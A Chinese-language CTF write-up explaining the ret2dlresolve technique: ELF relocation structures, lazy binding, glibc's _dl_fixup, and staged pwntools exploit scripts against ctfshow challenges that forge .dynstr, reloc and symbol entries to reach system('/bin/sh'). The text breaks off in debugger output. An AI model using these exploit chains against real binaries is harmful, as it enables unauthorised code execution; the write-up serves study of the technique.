ret2dlresolve

参考资料:

https://ctf-wiki.org/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve/

https://blog.csdn.net/seaaseesa/article/details/104478081

Return-to-dl-resolve | BruceFan’s Blog

原理:

相关结构

ELF可执行文件由ELF头部、程序头部表和其对应的段、节头部表和其对应的节组成。如果一个可执行文件参与动态链接,它的程序头部表将包含类型为PT_DYNAMIC的段,它包含.dynamic节。结构如下:

1
2
3
4
5
6
7
typedef struct {
Elf32_Sword d_tag;
union {
Elf32_Word d_val;
Elf32_Addr d_ptr;
} d_un;
} Elf32_Dyn;

其中tag对应着每个节,比如JMPREL对应着.rel.plt

1

节中包含目标文件的所有信息。节的结构如下:

1
2
3
4
5
6
7
8
9
10
11
12
typedef struct {
Elf32_Word sh_name; //节头部字符串表节区的索引
Elf32_Word sh_type; //节类型
Elf32_Word sh_flags; //节标志,用于描述属性
Elf32_Addr sh_addr; //节的内存映像
Elf32_Off sh_offset; //节的文件偏移
Elf32_Word sh_size; //节的长度
Elf32_Word sh_link; //节头部表索引链接
Elf32_Word sh_info; //附加信息
Elf32_Word sh_addralign;//节对齐约束
Elf32_Word sh_entsize; //固定大小的节表项的长度
} Elf32_Shdr

如下图,列出了该文件的31个节区。其中类型为REL的节区包含重定位表项

1

(1).rel.plt节是用于函数重定位,.rel.dyn节是用于变量重定位

1
2
3
4
5
6
7
8
typedef struct {
Elf32_Addr r_offset; //对于可执行文件,此值为虚拟地址
Elf32_Word r_info; //符号表索引
} Elf32_Rel;

#define Elf32_R_SYM(info) ((info)>>8)
#define Elf32_R_TYPE(info) ((ubsigned char)(info))
#define Elf32_R_INFO(sym,type) (((sym)<<8)+(unsigned char)(type))

1

如图,在.rel.plt中列出了链接的C库函数,以下均以write函数为例,write函数的r_offset=0x0804a01cr_info=0x607

(2).got节保存全局变量偏移表,.got.plt节保存全局函数偏移表。.got.plt对应着Elf32_Rel结构中r_offset的值

1

(3).dynsym节包含了动态链接符号表,存储了程序中需要被动态链接器解析的符号信息。它包含了符号的类型(如函数、变量)、绑定(如全局、局部)、大小、地址等信息。动态链接器通过解析 .dynsym 中的符号信息,将共享库中的符号与可执行文件中的符号进行绑定。

Elf32_Sym[num]中的num对应着ELF32_R_SYM(Elf32_Rel->r_info)。根据定义

1
ELF32_R_SYM(Elf32_Rel->r_info) = (Elf32_Rel->r_info) >> 8
1
2
3
4
5
6
7
8
9
typedef struct
{
Elf32_Word st_name; // Symbol name(string tbl index)
Elf32_Addr st_value; // Symbol value
Elf32_Word st_size; // Symbol size
unsigned char st_info; // Symbol type and binding
unsigned char st_other;// Symbol visibility under glibc>=2.2
Elf32_Section st_shndx;// Section index
} Elf32_Sym;

注释:

1
2
3
4
5
6
//符号名称在字符串表中的索引。通过这个索引可以从字符串表中找到符号的名称。
//符号值,对于函数,通常是函数的地址;对于变量,通常是变量的地址。
//符号的大小。例如,函数的指令长度或变量占用的字节数。
//符号的类型和绑定属性。它的值由两个部分组成:符号类型(低4位)和符号绑定(高4位)。
//符号的可见性属性。在 glibc >= 2.2 的系统中,用于控制符号的可见性(例如,是否可以被其他模块访问)
//符号所属的节区(Section)的索引。如果符号未定义或属于特殊节区,该值可能为特定的保留值(如SHN_UNDEF)。

write的索引值为ELF32_R_SYM(0x607) = 0x607 >> 8 = 6。而Elf32_Sym[6]即保存着write的符号表信息。并且ELF32_R_TYPE(0x607) = 7,对应R_386_JUMO_SLOT

1

(4).dynstr节包含了动态链接的字符串(字符串数组)。这个节以\x00作为开始和结尾,中间每个字符串也以\x00间隔。

1

1

其中0x080481cc为.dynsym节的首地址,0x0804826c为.dynstr节的首地址,0x4c为write在字符串表中的偏移

Elf32_Sym[6]->st_name=0x4c(.dynsym + Elf32_Sym_size * num),所以.dynstr加上0x4c的偏移量,就是字符串write。

(5).plt节是过程链接表。过程链接表把位置独立的函数调用重定向到绝对位置。

1

当程序执行call write@plt时,实际会跳到0x0804a01c(.got.plt–>write)去执行

延迟绑定

在linux下,二进制引用的外部符号加载方式有三种,FULL_RELRO、PARTIAL_RELRO、NO_RELRO,在PARTIAL_RELRO和NO_RELRO的情况下,外部符号的地址延迟加载,并且,在NO_RELRO下,ELF的dynamic段可读写。

ELF中有plt表和got表,程序调用动态链接库里的函数时,call的是plt表项,plt表中放着jmp指令,jmp到对应got表中在未第一次调用被调函数时,该函数的got表中并没有存着函数的实际地址

跟进write函数跳转到其plt表中

1

跟进off_80498D4,此时还未加载入write的真实地址

1

跟进loc_80483A6,发现push reloc_arg然后jmp到了plt[0]处

1

跟进sub_8048350 也就是plt[0],即 push linkmap 以及跳转到 _dl_runtime_resolve 函数

1

先push了 linkmap 到栈上

1

又jmp到_dl_runtime_resolve函数

1

其实就是_dl_runtime_resolve接受两个参数,第一个是link_map,通过这个link_map,ld链接器可以访问到dynstr、dynamic、dynsym、rel.plt等所需要的数据地址,而第二个参数reloc_arg,则表明要解析的函数在符号表中是第几个,比如,在这个elf文件里,write在第21个位置,因此push 20
调用write后got表中也就存着write的实际地址了

1

_dl_runtime_resolve是如何工作的呢?我们查看glibc的源码

它的源码在glibc/sysdeps/x86_64/dl-trampoline.h,是直接用汇编写的,我们看到,_dl_runtime_resolve简单的调用了_dl_fixup,因此,我们再去看看_dl_fixup的源码,它的源码在glibc/elf/dl-runtime.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
#ifndef reloc_offset  
define reloc_offset reloc_arg  
define reloc_index  reloc_arg / sizeof (PLTREL)  
#endif  
DL_FIXUP_VALUE_TYPE  
attribute_hidden __attribute ((noinline)) ARCH_FIXUP_ATTRIBUTE  
_dl_fixup (  
ifdef ELF_MACHINE_RUNTIME_FIXUP_ARGS  
    ELF_MACHINE_RUNTIME_FIXUP_ARGS,  
endif  
    struct link_map *l, ElfW(Word) reloc_arg) {  
    //获取symtab(存放dynsym的数组)  
    const ElfW(Sym) *const symtab  
        = (const void *) D_PTR (l, l_info[DT_SYMTAB]);  
    //获取strtab(存放符号名的数组)   
    const char *strtab = (const void *) D_PTR (l, l_info[DT_STRTAB]);  
    //获取reloc_arg对应的rel.plt项   
    const PLTREL *const reloc  
        = (const void *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset);  
    //获取reloc_arg对应的dynsym   
    const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)];  
    const ElfW(Sym) *refsym = sym;  
    //指向对应的got表,以便将解析结果写回去   
    void *const rel_addr = (void *)(l->l_addr + reloc->r_offset);  
    lookup_t result;  
    DL_FIXUP_VALUE_TYPE value;  
  
    /* Sanity check that we're really looking at a PLT relocation.  */  
    assert (ELFW(R_TYPE)(reloc->r_info) == ELF_MACHINE_JMP_SLOT);  
  
    /* Look up the target symbol.  If the normal lookup rules are not 
       used don't look in the global scope.  */  
    if (__builtin_expect (ELFW(ST_VISIBILITY) (sym->st_other), 0) == 0) {  
        const struct r_found_version *version = NULL;  
  
        if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL) {  
            const ElfW(Half) *vernum =  
                (const void *) D_PTR (l, l_info[VERSYMIDX (DT_VERSYM)]);  
            ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff;  
            version = &l->l_versions[ndx];  
            if (version->hash == 0)  
                vesrsion = NULL;  
        }  
  
        /* We need to keep the scope around so do some locking.  This is 
        not necessary for objects which cannot be unloaded or when 
         we are not using any threads (yet).  */  
        int flags = DL_LOOKUP_ADD_DEPENDENCY;  
        if (!RTLD_SINGLE_THREAD_P) {  
            THREAD_GSCOPE_SET_FLAG ();  
            flags |= DL_LOOKUP_GSCOPE_LOCK;  
        }  
  
#ifdef RTLD_ENABLE_FOREIGN_CALL  
        RTLD_ENABLE_FOREIGN_CALL;  
#endif  
        //根据符号名,搜索对应的函数,返回libc基地址,并将符号信息保存到sym中result为libc基地址   
        result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope,  
                                      version, ELF_RTYPE_CLASS_PLT, flags, NULL);  
  
        /* We are done with the global scope.  */  
        if (!RTLD_SINGLE_THREAD_P)  
            THREAD_GSCOPE_RESET_FLAG ();  
  
#ifdef RTLD_FINALIZE_FOREIGN_CALL  
        RTLD_FINALIZE_FOREIGN_CALL;  
#endif  
  
        //value为libc基地址加上要解析函数的偏移地址,也就是实际地址   
        value = DL_FIXUP_MAKE_VALUE (result,  
                                     sym ? (LOOKUP_VALUE_ADDRESS (result)  
                                            + sym->st_value) : 0);  
    } else {  
        /* We already found the symbol.  The module (and therefore its load 
        address) is also known.  */  
        value = DL_FIXUP_MAKE_VALUE (l, l->l_addr + sym->st_value);  
        result = l;  
    }  
  
    /* And now perhaps the relocation addend.  */  
    value = elf_machine_plt_value (l, reloc, value);  
  
    if (sym != NULL  
            && __builtin_expect (ELFW(ST_TYPE) (sym->st_info) == STT_GNU_IFUNC, 0))  
        value = elf_ifunc_invoke (DL_FIXUP_VALUE_ADDR (value));  
  
    /* Finally, fix up the plt itself.  */  
    if (__glibc_unlikely (GLRO(dl_bind_not)))  
        return value;  
    //最后将value写回到got表中   
    return elf_machine_fixup_plt (l, result, refsym, sym, reloc, rel_addr, value);  
}

只关注主要函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
_dl_fixup(struct link_map *l, ElfW(Word) reloc_arg)
{
// 首先通过参数reloc_arg计算重定位入口,这里的JMPREL即.rel.plt,reloc_offset即reloc_arg
const PLTREL *const reloc = (const void *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset);
// 然后通过reloc->r_info(0x607)找到.dynsym中对应的条目 (.dynsym+0x10*6)
const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)];
// 这里还会检查reloc->r_info的最低位是不是R_386_JUMP_SLOT=7
assert (ELFW(R_TYPE)(reloc->r_info) == ELF_MACHINE_JMP_SLOT);
// 接着通过strtab+sym->st_name找到符号表字符串,result为libc基地址(.dynstr_addrs+0x4c)
result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope, version, ELF_RTYPE_CLASS_PLT, flags, NULL);
// value为libc基址加上要解析函数的偏移地址,也即实际地址
value = DL_FIXUP_MAKE_VALUE (result, sym ? (LOOKUP_VALUE_ADDRESS (result) + sym->st_value) : 0);
// 最后把value写入相应的GOT表条目中
return elf_machine_fixup_plt (l, result, reloc, rel_addr, value);
}

以write为例:

1
通过link_map找到对应的

简单来说,在解释对应函数地址是根据对应符号名字符串来解析的,如果控制了符号名字符串,那么可以在不泄露libc的情况下实现解析任何函数

.rel.plt 段的结构

.rel.plt 段中的每个重定位条目通常包含以下信息:

  • 偏移量(Offset) :表示在 .plt 段或 .got.plt 段中的偏移地址,用于指示需要重定位的数据位置。
  • 信息(Info) :包含符号表索引和类型信息,用于确定重定位的目标符号(如函数名)和重定位类型。
  • 类型(Type) :在 ELF 文件中,重定位类型用于指定重定位的操作方式。对于 .rel.plt 段,通常使用 R_386_JMP_SLOT 类型(在 32 位 x86 架构中),表示这是一个跳转槽(JMP_SLOT)重定位,用于填充 .got.plt 表中的地址。
  • 符号表索引(Symbol Table Index) :用于在动态符号表(.dynsym)中查找对应的符号(如函数名),从而获取函数的实际地址。

攻击思路:

思路 1 - 直接控制重定位表项的相关内容
由于动态链接器最后在解析符号的地址时,是依据符号的名字进行解析的。因此,一个很自然的想法是直接修改动态字符串表 .dynstr,比如把某个函数在字符串表中对应的字符串修改为目标函数对应的字符串。但是,动态字符串表和代码映射在一起,是只读的。此外,类似地,我们可以发现动态符号表、重定位表项都是只读的。

但是,假如我们可以控制程序执行流,那我们就可以伪造合适的重定位偏移,从而达到调用目标函数的目的。然而,这种方法比较麻烦,因为我们不仅需要伪造重定位表项,符号信息和字符串信息,而且我们还需要确保动态链接器在解析的过程中不会出错。

思路 2 - 间接控制重定位表项的相关内容
既然动态链接器会从 .dynamic 节中索引到各个目标节,那如果我们可以修改动态节中的内容使得最后动态链接器解析的符号是我们想要解析的符号,那自然就很容易控制待解析符号对应的字符串,从而达到执行目标函数的目的。

思路 3 - 伪造 link_map
由于动态连接器在解析符号地址时,主要依赖于 link_map 来查询相关的地址。因此,如果我们可以成功伪造 link_map,也就可以控制程序执行目标函数。

实例分析:

32位

NO_RELRO下的情况

ctfshow-pwn-32

check

1
2
3
4
5
6
7
8
桌面$ checksec pwn
[*] '/home/pwn/桌面/pwn'
Arch: i386-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Stripped: No

NO_RELRO下的情况下.dynamic节是可写的我们直接修改.dynamic的strtab将其指向我们构造的.dynstr表

1

正常的.dynstr表找该表可以搜aread

1

将read替换为system使得在调用read时执行system

具体思路:利用read在bss段上部署新的.dynstr表,其中将read的符号的名字改为system,接着修改.dynamic的strtab将其指向bss段的新.dynstr表,传入/bin/sh最后调用read函数的plt[2]执行system('/bin/sh')

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
from pwn import *

context(arch = 'i386',os = 'linux',log_level = 'debug')
#io = remote('pwn.challenge.ctf.show',28296)
#io = process(
# ["/home/pwn/桌面/ld.so.2", "./pwn"],
# env={"LD_PRELOAD": "/home/pwn/桌面/libc.so.6"},
#)
io=process('./pwn')

elf = ELF('./pwn')
#libc = ELF('./1.so')

gdb.attach(io)
sleep(2)
Elf32_Dyn_strtab = 0x08049804
bss = 0x080498E0
read_plt_first = 0x08048376
rop = ROP('./pwn')
io.recvuntil(b'Welcome to CTFshowPWN!\n')

offset = 112
rop.raw(offset*b'a')
rop.read(0,Elf32_Dyn_strtab+4,4) #将动态段中的动态字符串表(dynstr)指针修改为特定位置。
dynstr = elf.get_section_by_name('.dynstr').data()
dynstr = dynstr.replace(b"read",b"system")
#新表中read被替换为了system
rop.read(0,bss,len((dynstr)))
rop.read(0,bss+0x100,len(b"/bin/sh\x00"))
rop.raw(read_plt_first) #第一次调用read时plt表跳转到的地址也就是push一个数字然后jmp到了plt[0]处,找该位置可以IDA动调,在执行被调函数前plt表上jmp的地址即为该地址
rop.raw(0xdeadbeef)
rop.raw(bss+0x100)

assert(len(rop.chain())<=256)
#检查构造的 ROP 链长度是否小于等于 256 字节。这是因为漏洞程序可能对输入的缓冲区大小有限制,确保 payload 不会超出限制。
rop.raw(b'a'*(256-len(rop.chain())))
#如果 ROP 链长度不足 256 字节,则用 a 字符填充到 256 字节,使 payload 的大小符合预期。
io.send(rop.chain())
io.send(p32(bss))
io.send(dynstr)
io.send(b"/bin/sh\x00")
io.interactive()

Partial RELRO手工伪造

1.控制eip为PLT[0]的地址,只需传递一个index_arg(0x20)参数
2.控制index_arg的大小,使reloc(base_stage+0x24)的位置落在可控地址内
3.伪造reloc的内容,使sym落在可控地址内
4.伪造sym的内容,使name落在可控地址内
5.伪造name为任意库函数,如system

ctfshow-pwn-83

check

1
2
3
4
5
6
7
8
桌面$ checksec pwn
[*] '/home/pwn/桌面/pwn'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Stripped: No

开启Partial RELRO后.dynamic不可写了刚刚这种做法就不太好完成了这时我们可以通过伪造重定位表项的方式来调用目标函数。

1

有两种方式一种是手工伪造,这种方法比较麻烦但是可以仔细理解ret2dlresolve的原理,另一种是用工具来实现攻击比较方便

题目函数和溢出点没变

为进一步理解利用原理,选择跟着wiki一步步手工伪造

stage1

在这一阶段,我们的目的比较简单,就是控制程序直接执行 write 函数。在栈溢出的情况下,我们其实可以直接控制返回地址来控制程序直接执行 write 函数。但是这里我们采用一个相对复杂点的办法,即先使用栈迁移,将栈迁移到 bss 段,然后再来控制 write 函数。因此,这一阶段主要包括两步

  1. 将栈迁移到 bss 段。
  2. 通过 write 函数的 plt 表项来执行 write 函数,输出相应字符串。

代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import *

context(arch = 'i386',os = 'linux',log_level = 'debug')
#io = remote('pwn.challenge.ctf.show',28217)
#io = process(
# ["/home/pwn/桌面/ld.so.2", "./pwn"],
# env={"LD_PRELOAD": "/home/pwn/桌面/libc.so.6"},
#)
io=process('./pwn')
#libc = ELF('./2.so')
elf = ELF('./pwn')
rop = ROP('./pwn')
bss_addr = elf.bss()

io.recvuntil(b'Welcome to CTFshowPWN!\n')
#gdb.attach(io)
#sleep(1)
offset = 112
stack_size = 0x800
base_stag = bss_addr + stack_size
rop.raw(b'a'*0ffset)
rop.read(0,base_stage,100)
rop.migrate(base_stage)
io.sendline(rop.chain())

rop = ROP('./pwn')
bin_sh = b'/bin/sh\x00'
rop.write(1,base_stage+80,len(bin_sh))
rop.raw(b'a'*(80-len(rop.chain())))
rop.raw(bin_sh)
rop.raw(b'a'*(100-len(rop.chain())))
io.sendline(rop.chain())

io.interactive()

程序正常输出了/bin/sh\x00

stage2

在这一阶段,进一步利用_dl_runtime_resolve相关知识来控制程序执行write函数

  1. 将栈迁移到 bss 段。
  2. 控制程序直接执行 plt[0] 中的相关指令,即 push linkmap 以及跳转到 _dl_runtime_resolve 函数。这时,我们还需要提供 write 重定位项在 got 表中的偏移。这里,我们可以直接使用 write plt 中提供的偏移,即 0x080483C6 处所给出的 0x20。其实,我们也可以跳转到 0x080483C6 地址处,利用原有的指令来提供 write 函数的偏移,并跳转到 plt[0]。

1

具体代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
from pwn import *

context(arch = 'i386',os = 'linux',log_level = 'debug')
#io = remote('pwn.challenge.ctf.show',28217)
#io = process(
# ["/home/pwn/桌面/ld.so.2", "./pwn"],
# env={"LD_PRELOAD": "/home/pwn/桌面/libc.so.6"},
#)
io=process('./pwn')
#libc = ELF('./2.so')
elf = ELF('./pwn')
rop = ROP('./pwn')
bss_addr = elf.bss()

io.recvuntil(b'Welcome to CTFshowPWN!\n')
#gdb.attach(io)
#sleep(1)
offset = 112
stack_size = 0x800
base_stage = bss_addr + stack_size
rop.raw(b'a'*offset)
rop.read(0,base_stage,100)
rop.migrate(base_stage)
io.sendline(rop.chain())

rop = ROP('./pwn')
plt0 = elf.get_section_by_name('.plt').header.sh_addr
jmprel_data = elf.get_section_by_name('.rel.plt').data()
writegot = elf.got["write"]
write_reloc_offset = jmprel_data.find(p32(writegot,endian="little"))

rop.raw(plt0)
rop.raw(write_reloc_offset) #0x20
print(hex(write_reloc_offset))
#前两个也可以换为rop.raw(loc_80483A6_addrs)
rop.raw('bbbb')

rop.raw(1)
rop.raw(base_stage+80)
sh = b"/bin/sh\x00"
rop.raw(len(sh))
rop.raw(b'a'*(80 - len(rop.chain())))
rop.raw(sh)
rop.raw(b'a'*(100 - len(rop.chain())))

io.sendline(rop.chain())
io.interactive()
1
2
3
.plt:080483C6 loc_80483C6:
.plt:080483C6 push 20h ; ' '
.plt:080483CB jmp sub_8048370

exp中plt0实际存放的地址对应的汇编是push dword ptr [_GLOBAL_OFFSET_TABLE_+4] <0x804a004>

1

此时凑齐_dl_runtime_resolve函数的两个参数也就是

_dl_runtime_resolve(linkmap,reloc_offset)

程序正常输出了/bin/sh\x00

stage3

这一次,我们同样控制 _dl_runtime_resolve 函数中的 reloc_offset 参数,不过这次控制其指向我们伪造的 write 重定位项,也就是控制index_offset,使其指向我们构造的fake_reloc

鉴于 pwntools 本身并不支持对重定位表项的信息的获取。这里我们手动看一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
桌面$ readelf -r pwn

重定位节 '.rel.dyn' at offset 0x30c contains 3 entries:
偏移量 信息 类型 符号值 符号名称
08049ff4 00000306 R_386_GLOB_DAT 00000000 __gmon_start__
08049ff8 00000706 R_386_GLOB_DAT 00000000 stdin@GLIBC_2.0
08049ffc 00000806 R_386_GLOB_DAT 00000000 stdout@GLIBC_2.0

重定位节 '.rel.plt' at offset 0x324 contains 5 entries:
偏移量 信息 类型 符号值 符号名称
0804a00c 00000107 R_386_JUMP_SLOT 00000000 setbuf@GLIBC_2.0
0804a010 00000207 R_386_JUMP_SLOT 00000000 read@GLIBC_2.0
0804a014 00000407 R_386_JUMP_SLOT 00000000 strlen@GLIBC_2.0
0804a018 00000507 R_386_JUMP_SLOT 00000000 __libc_start_main@GLIBC_2.0
0804a01c 00000607 R_386_JUMP_SLOT 00000000 write@GLIBC_2.0

可以看出write的重定位表项的reloc_offset = 0x0804a01creloc_info = 0x00000607

1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
from pwn import *

context(arch = 'i386',os = 'linux',log_level = 'debug')
#io = remote('pwn.challenge.ctf.show',28217)
#io = process(
# ["/home/pwn/桌面/ld.so.2", "./pwn"],
# env={"LD_PRELOAD": "/home/pwn/桌面/libc.so.6"},
#)
io=process('./pwn')
#libc = ELF('./2.so')
elf = ELF('./pwn')
rop = ROP('./pwn')
bss_addr = elf.bss()

io.recvuntil(b'Welcome to CTFshowPWN!\n')
#gdb.attach(io)
#sleep(1)
offset = 112
stack_size = 0x800
base_stage = bss_addr + stack_size
rop.raw(b'a'*offset)
rop.read(0,base_stage,100)
rop.migrate(base_stage)
io.sendline(rop.chain())

rop = ROP('./pwn')
plt0 = elf.get_section_by_name('.plt').header.sh_addr
got0 = elf.get_section_by_name('.got').header.sh_addr

rel_plt = elf.get_section_by_name('.rel.plt').header.sh_addr #节头地址
# make base_stage+24 ---> fake reloc
write_reloc_offset = base_stage+24-rel_plt
write_got = elf.got['write']
r_info = 0x607

rop.raw(plt0)
rop.raw(write_reloc_offset)

rop.raw(b'bbbb')

rop.raw(1)
rop.raw(base_stage + 80)
sh = b'/bin/sh'
rop.raw(len(sh))

rop.raw(write_got) #base_stage+24
rop.raw(r_info)
rop.raw(b'a' * (80 - len(rop.chain())))
rop.raw(sh)
rop.raw(b'a' * (100 - len(rop.chain())))

io.sendline(rop.chain())
io.interactive()

stage4

在stage3中我们控制了重定位表项,但是伪造的重定位表项的内容仍然与write函数原来的重定位表项一致。

在这个阶段,我们将构造属于我们自己的重定位表项,并且伪造该表项对应的符号。首先,我们根据write的重定位表项的r_info=0x607可以知道,write对应的符号在符号表的下标为 0x607>>8=0x6。因此我们知道write对应的符号地址为0x0804822c。

1
2
3
4
5
6
7
8
9
10
11
12
13
桌面$ readelf -x .dynsym pwn                  

“.dynsym”节的十六进制输出:
0x080481cc 00000000 00000000 00000000 00000000 ................
0x080481dc 33000000 00000000 00000000 12000000 3...............
0x080481ec 27000000 00000000 00000000 12000000 '...............
0x080481fc 5c000000 00000000 00000000 20000000 \........... ...
0x0804820c 20000000 00000000 00000000 12000000 ...............
0x0804821c 3a000000 00000000 00000000 12000000 :...............
0x0804822c 4c000000 00000000 00000000 12000000 L...............
0x0804823c 1a000000 00000000 00000000 11000000 ................
0x0804824c 2c000000 00000000 00000000 11000000 ,...............
0x0804825c 0b000000 6c860408 04000000 11001000 ....l...........
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
from pwn import *

context(arch = 'i386',os = 'linux',log_level = 'debug')
#io = remote('pwn.challenge.ctf.show',28217)
#io = process(
# ["/home/pwn/桌面/ld.so.2", "./pwn"],
# env={"LD_PRELOAD": "/home/pwn/桌面/libc.so.6"},
#)
io=process('./pwn')
#libc = ELF('./2.so')
elf = ELF('./pwn')
rop = ROP('./pwn')
bss_addr = elf.bss()

io.recvuntil(b'Welcome to CTFshowPWN!\n')

offset = 112
stack_size = 0x800
base_stage = bss_addr + stack_size
rop.raw(b'a'*offset)
rop.read(0,base_stage,100)
rop.migrate(base_stage)
io.sendline(rop.chain())

rop = ROP('./pwn')
plt0 = elf.get_section_by_name('.plt').header.sh_addr#0x80483c0
rel_plt = elf.get_section_by_name('.rel.plt').header.sh_addr#0x08048324
dynsym = elf.get_section_by_name('.dynsym').header.sh_addr
dynstr = elf.get_section_by_name('.dynstr').header.sh_addr
index_offset = (base_stage+24) - rel_plt #base_stage + 24指向fake_reloc
write_got = elf.got['write']


fake_sym_addr = base_stage + 32
align = 0x10 - ((fake_sym_addr - dynsym) & 0xf)
print(align)
fake_sym_addr = fake_sym_addr + align#这里是为了对齐,因为dynsym里的Elf32_Sym结构体都是0x10字节大小的
index_dynsym = (fake_sym_addr - dynsym) / 0x10 #得到write的dynsym索引号
r_info = (int(index_dynsym) << 8) | 0x7 #r_info的低8位要是7保证通过检查R_386_JUMP_SLOT=7
print(hex(r_info))
fake_reloc = p32(write_got) + p32(r_info)
str_name = 0x4c
fake_sym = p32(str_name) + p32(0) + p32(0) +p32(0x12)

sh = b'/bin/sh'
gdb.attach(io)
sleep(3)
rop.raw(plt0)
rop.raw(index_offset)
rop.raw(b'bbbb')
rop.raw(1)
rop.raw(base_stage + 80)
rop.raw(len(sh))
rop.raw(fake_reloc)
rop.raw(b'a'*align)
rop.raw(fake_sym)
rop.raw(b'a'*(80 - len(rop.chain())))
rop.raw(sh)
rop.raw(b'a'*(100-len(rop.chain())))
io.sendline(rop.chain())
io.interactive()

执行之后发现程序断在了fixup函数里,也就是在ld-linux.so.2中崩了

1

接着跟着wiki分析

通过逆向分析ld-linux.so.2

1
2
3
4
5
6
if ( v9 )
{
v10 = (char *)a1[92] + 16 * (*(_WORD *)(*((_DWORD *)v9 + 1) + 2 * v4) & 0x7FFF);
if ( !*((_DWORD *)v10 + 1) )
v10 = 0;
}

以及源码可以知道程序是在访问 version 的 hash 时出错

1
2
3
4
5
6
7
8
9
if (l->l_info[VERSYMIDX(DT_VERSYM)] != NULL)
{
const ElfW(Half) *vernum =
(const void *)D_PTR(l, l_info[VERSYMIDX(DT_VERSYM)]);
ElfW(Half) ndx = vernum[ELFW(R_SYM)(reloc->r_info)] & 0x7fff;
version = &l->l_versions[ndx];
if (version->hash == 0)
version = NULL;
}

进一步分析可以知道,因为我们伪造了 write 函数的重定位表项,其中 reloc->r_info(符号表索引+重定位类型) 被设置成了比较大的值(0x26807)(正常值是0x607)。这时候,ndx 的值并不可预期,进而 version 的值也不可预期,因此可能出现不可预期的情况。

通过分析 .dynmic 节,我们可以发现 vernum(VERSYM) 的地址为 0x80482d8。

1

在 ida 中,我们也可以看到相关的信息

1

这一部分ndx的地址还没搞懂是怎么找的,先把wiki贴上

那我们可以再次运行看一下伪造后 ndx 具体的值

1
2
3
4
5
6
7
8
9
10
❯ python stage4.py
[*] '/mnt/hgfs/ctf-challenges/pwn/stackoverflow/ret2dlresolve/2015-xdctf-pwn200/32/partial-relro/main_partial_relro_32'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
[+] Starting local process './main_partial_relro_32': pid 27649
[*] Loaded 10 cached gadgets for './main_partial_relro_32'
ndx_addr: 0x80487a8

可以发现,ndx_落入了 .eh_frame 节中

1
.eh_frame:080487A8                 db  2Ch ; ,

进一步地,ndx 的值为 0x2C。显然不知道会索引到哪里去。

1
2
3
4
5
6
7
8
9
if (l->l_info[VERSYMIDX(DT_VERSYM)] != NULL)
{
const ElfW(Half) *vernum =
(const void *)D_PTR(l, l_info[VERSYMIDX(DT_VERSYM)]);
ElfW(Half) ndx = vernum[ELFW(R_SYM)(reloc->r_info)] & 0x7fff;
version = &l->l_versions[ndx];
if (version->hash == 0)
version = NULL;
}

通过动态调试,我们可以发现 l_versions 的起始地址,并且其中一共有 3 个元素。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
pwndbg> print *((struct link_map *)0xf7f0d940)
$4 = {
l_addr = 0,
l_name = 0xf7f0dc2c "",
l_ld = 0x8049f0c,
l_next = 0xf7f0dc30,
l_prev = 0x0,
l_real = 0xf7f0d940,
l_ns = 0,
l_libname = 0xf7f0dc20,
l_info = {0x0, 0x8049f0c, 0x8049f7c, 0x8049f74, 0x0, 0x8049f4c, 0x8049f54, 0x0, 0x0, 0x0, 0x8049f5c, 0x8049f64, 0x8049f14, 0x8049f1c, 0x0, 0x0, 0x0, 0x8049f94, 0x8049f9c, 0x8049fa4, 0x8049f84, 0x8049f6c, 0x0, 0x8049f8c, 0x0, 0x8049f24, 0x8049f34, 0x8049f2c, 0x8049f3c, 0x0, 0x0, 0x0, 0x0, 0x0, 0x8049fb4, 0x8049fac, 0x0 <repeats 13 times>, 0x8049fbc, 0x0 <repeats 25 times>, 0x8049f44},
l_phdr = 0x8048034,
l_entry = 134513632,
l_phnum = 9,
l_ldnum = 0,
l_searchlist = {
r_list = 0xf7edf3e0,
r_nlist = 3
},
l_symbolic_searchlist = {
r_list = 0xf7f0dc1c,
r_nlist = 0
},
l_loader = 0x0,
l_versions = 0xf7edf3f0,
l_nversions = 3,

对应的分别为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
pwndbg> print *((struct r_found_version[3] *)0xf7edf3f0)
$13 = {{
name = 0x0,
hash = 0,
hidden = 0,
filename = 0x0
}, {
name = 0x0,
hash = 0,
hidden = 0,
